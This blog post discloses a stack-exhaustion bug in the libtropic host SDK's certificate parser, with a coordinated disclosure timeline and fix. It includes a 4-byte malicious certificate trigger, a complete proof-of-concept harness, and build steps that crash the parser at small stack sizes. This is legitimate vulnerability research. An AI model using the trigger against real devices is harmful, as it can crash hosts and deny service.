Finding and fixing a stack-exhaustion vulnerability in a secure element’s host SDK

Nov 1, 2026·
Lucas Tucker
Lucas Tucker
· 8 min read
blog

Background

I’ve always been drawn to hardware security devices and am keen to learn how they work. So I bought a TROPIC01, an open-architecture secure element, and set out to develop my own command-line tool to interact with it. This meant working closely with TROPIC01’s open source host SDK, libtropic, and reading its source. Since libtropic is host-side code that has to trust data coming off the chip, it looked like an inviting thing to audit. So alongside using it, I also began looking at it properly, starting where a host most obviously trusts data from the chip: the certificate parser.

When a host first talks to a TROPIC01, it parses the chip’s certificate to extract its static public key and establish a secure channel between both parties. This happens before the chip has been authenticated, because parsing the certificate is how the host gets the key it needs to establish the secure channel in the first place. Therefore, anything on that path can run on attacker-influenced data with no cryptographic check in front of it. That’s exactly where I decided to look.

The bug

Certificates are DER-encoded as nested Tag–Length–Value triplets, where the 1-byte length field uses either short form, to directly state the length of the value, or long form, to indicate how many of the following bytes encode the length. This length field is read by libtropic in a parse_length() function, whose code snippet can be seen below:

static lt_ret_t parse_length(struct parse_ctx_t *ctx, uint16_t *len)
{
    ...
    if (b < 127)             // short form
    {
        *len = (uint16_t)b;
    }
    else                     // long form
    {
        uint8_t n_bytes = b ^ 0x80;

        if (n_bytes > 2)     // caps the NUMBER of length bytes at 2 ...
        {
            return LT_CERT_UNSUPPORTED;
        }
        *len = 0;
        for (int i = 0; i < n_bytes; i++)
        {
            (*len) <<= 8;
            LT_ASN1_DER_GET_NEXT_BYTE(ctx, &b);
            *len |= b;       // ... but the VALUE can be up to 0xFFFF
        }
    }
    ...

The else clause represents the code path where long form is used, with the n_bytes > 2 check limiting the amount of bytes that can encode the length to a maximum of two. Two bytes can encode up to 0xFFFF (65535), meaning that len is fully attacker-controlled up to that number.

The bug revealed itself in the OBJECT_IDENTIFIER branch of the parse_object() function, where len sizes a stack buffer, as seen in the snippet below:

static lt_ret_t parse_object(struct parse_ctx_t *ctx)
{
    ...
    rv = parse_length(ctx, &len);   // len is now malicious
    ...
    case LT_ASN1DER_OBJECT_IDENTIFIER:
    {
        if (len < 3)                // only checks for a lower bound
        {
            break;
        }

        uint8_t buf[len];           // the bug: a VLA sized by len

        LT_ASN1_DER_GET_BYTES(ctx, buf, len);
        uint32_t obj_id = (buf[0] << 16) | (buf[1] << 8) | buf[2];
        ...

Therefore, uint8_t buf[len] is a variable-length array which grows the function’s stack frame by len bytes at runtime, with len as large as 65535 (or 64 KB). Furthermore, as can be seen in the last line of the snippet above, this allocation of up to 64 KB only exists to look at three bytes: buf[0], buf[1] and buf[2].

The trigger

A 4-byte certificate containing exactly:

06 82 FF FF
│  │  └──┴── length value: 0xFFFF = 65535
│  └──────── long form, 2 length bytes follow
└─────────── tag: OBJECT IDENTIFIER

is all it takes to reach the vulnerable branch and drive buf[65535].

The impact

This is a denial-of-service vulnerability, nothing more. The attacker model is a malicious chip in place of a genuine TROPIC01, or an interposer on the bus between the host and the secure element. Because this requires physical access to the bus, the attacker already has cheaper ways to deny service, which is why the severity is low.

What makes it worth fixing is that an attacker-controlled stack allocation of up to 64 KB is driven directly by untrusted input. TROPIC01 supports MCU-based hosts, where stacks are small, so this vulnerability could crash such a host on first contact once the vulnerable code is reached.

The proof

In order to confirm the presence of the vulnerability, I developed a proof of concept that links against the real, unmodified libtropic v4.2.0 static library and calls the lt_get_st_pub() function entry point. It builds the certificate store exactly as the SDK would and passes the malicious 06 82 FF FF certificate to the entry point inside a thread whose stack size can be varied.

Proof of concept code and build instructions

poc.c

#define _GNU_SOURCE

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <limits.h>
#include "libtropic.h"

static void run_poc(void)
{
    uint8_t cert1[TR01_L2_GET_INFO_REQ_CERT_SIZE_SINGLE] = {0};
    uint8_t cert2[TR01_L2_GET_INFO_REQ_CERT_SIZE_SINGLE] = {0};
    uint8_t cert3[TR01_L2_GET_INFO_REQ_CERT_SIZE_SINGLE] = {0};
    uint8_t cert4[TR01_L2_GET_INFO_REQ_CERT_SIZE_SINGLE] = {0};

    struct lt_cert_store_t store =
    {
        .certs   = {cert1, cert2, cert3, cert4},
        .buf_len = {TR01_L2_GET_INFO_REQ_CERT_SIZE_SINGLE,
                    TR01_L2_GET_INFO_REQ_CERT_SIZE_SINGLE,
                    TR01_L2_GET_INFO_REQ_CERT_SIZE_SINGLE,
                    TR01_L2_GET_INFO_REQ_CERT_SIZE_SINGLE},
    };

    static const uint8_t malicious[] = { 0x06, 0x82, 0xFF, 0xFF };

    memcpy(store.certs[LT_CERT_KIND_DEVICE], malicious,
           sizeof malicious);
    store.cert_len[LT_CERT_KIND_DEVICE] = sizeof malicious;

    uint8_t stpub[TR01_STPUB_LEN] = {0};

    lt_ret_t rv = lt_get_st_pub(&store, stpub);
    printf("  lt_get_st_pub returned rv=%d (NO CRASH)\n", rv);
}

static void *thread_fn(void *a)
{
    (void)a;

    run_poc();

    return NULL;
}

int main(int argc, char **argv)
{
    size_t kb = (argc > 1) ? (size_t)atoi(argv[1]) : 0;

    // use our own stack (default)
    if (kb == 0)
    {
        printf("[default stack]\n");
        run_poc();
        printf("  finished\n");
        return 0;
    }

    size_t want = kb * 1024;

    pthread_attr_t attr;
    pthread_attr_init(&attr);

    if (pthread_attr_setstacksize(&attr, want) != 0)
    {
        printf("  ERROR: setstacksize(%zu) below floor, "
               "NOT a valid run\n", want);
        return 2;
    }

    size_t got = 0;

    pthread_attr_getstacksize(&attr, &got);

    printf("[stack %zu KB]\n", got / 1024);

    pthread_t t;

    if (pthread_create(&t, &attr, thread_fn, NULL) != 0)
    {
        printf("  create failed\n");
        return 3;
    }

    pthread_join(t, NULL);
    pthread_attr_destroy(&attr);

    printf("  finished\n");

    return 0;
}

stubs.c

// Link-only stubs: crypto + HAL symbols that are NOT on the
// cert-parsing path. lt_get_st_pub -> asn1der_find_object ->
// parse_object never calls any of these; they exist solely so the
// static archive's unrelated references resolve.

int lt_X25519(void) { return 0; }
int lt_X25519_scalarmult(void) { return 0; }
int lt_aesgcm_decrypt(void) { return 0; }
int lt_aesgcm_decrypt_deinit(void) { return 0; }
int lt_aesgcm_decrypt_init(void) { return 0; }
int lt_aesgcm_encrypt(void) { return 0; }
int lt_aesgcm_encrypt_deinit(void) { return 0; }
int lt_aesgcm_encrypt_init(void) { return 0; }
int lt_crypto_ctx_deinit(void) { return 0; }
int lt_crypto_ctx_init(void) { return 0; }
int lt_hmac_sha256(void) { return 0; }
int lt_port_deinit(void) { return 0; }
int lt_port_delay(void) { return 0; }
int lt_port_init(void) { return 0; }
int lt_port_log(void) { return 0; }
int lt_port_random_bytes(void) { return 0; }
int lt_port_spi_csn_high(void) { return 0; }
int lt_port_spi_csn_low(void) { return 0; }
int lt_port_spi_transfer(void) { return 0; }
int lt_sha256_deinit(void) { return 0; }
int lt_sha256_finish(void) { return 0; }
int lt_sha256_init(void) { return 0; }
int lt_sha256_start(void) { return 0; }
int lt_sha256_update(void) { return 0; }

Build and run

# 1. Clone and pin to the exact release
git clone https://github.com/tropicsquare/libtropic
cd libtropic/
# v4.2.0
git checkout 9085ea5387a8a1d5a946c7e4f633c7134e4909a7

# 2. Build libtropic as a static library
cmake -B build -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g"
cmake --build build -j

# 3. Place poc.c and stubs.c in the libtropic/ directory you just
#    entered (the repository root), then compile the PoC against
#    the real library:
gcc -g -O0 -I include poc.c stubs.c build/libtropic.a \
    -o poc -lpthread

# 4. Sweep stack sizes
for kb in 256 128 96 80 72 64 48 32; do
    echo "----- ${kb} KB -----"
    ./poc $kb
    echo "exit=$?"
done

The results, measured on x86-64 Linux, can be seen below:

Thread stackResult
72 KB and upsurvives (returns a clean parse error)
64 KB and belowSIGSEGV

As expected, the crash occurs at stack sizes below the predicted 64 KB threshold, matching the 65535-byte allocation. As a causation test, adding a single bound check immediately before the VLA eliminated the crash at every stack size that previously faulted, isolating the allocation as the cause.

The fix

As mentioned above, the OBJECT_IDENTIFIER branch only ever needs three bytes (buf[0], buf[1] and buf[2]), so the fix is to assign a fixed size of 3 bytes to the buffer and skip the remainder of the object if the length is larger than this:

static lt_ret_t parse_object(struct parse_ctx_t *ctx)
{
    ...
    case LT_ASN1DER_OBJECT_IDENTIFIER:
    {
        ...
        uint8_t buf[3];             // fixed size: 3 bytes are enough

        LT_ASN1_DER_GET_BYTES(ctx, buf, 3);
        uint32_t obj_id = (buf[0] << 16) | (buf[1] << 8) | buf[2];
        ...
        if (len > 3)                // skip the remainder of the object
        {
            LT_ASN1_DER_DROP_BYTES(ctx, len - 3);
        }
        ...

This fix removes the unbounded allocation and keeps the parser aligned with the next object to be read.

Disclosure

I reported this privately through Tropic Square’s coordinated-vulnerability-disclosure policy before anything was public. Their security lead responded quickly, assessed the severity, and invited a public issue and pull request once it was triaged. The timeline:

DateEvent
Fri, 9 Oct 2026Reported to Tropic Square under CVD policy
Mon, 12 Oct 2026Tropic Square responded and assessed the severity
Thu, 15 Oct 2026Fix merged into libtropic’s develop branch

Issue: #571
Pull request: #572

The whole process was exactly what coordinated disclosure is supposed to look like from a vendor’s side: responsive, straightforward, and open to an outside contributor.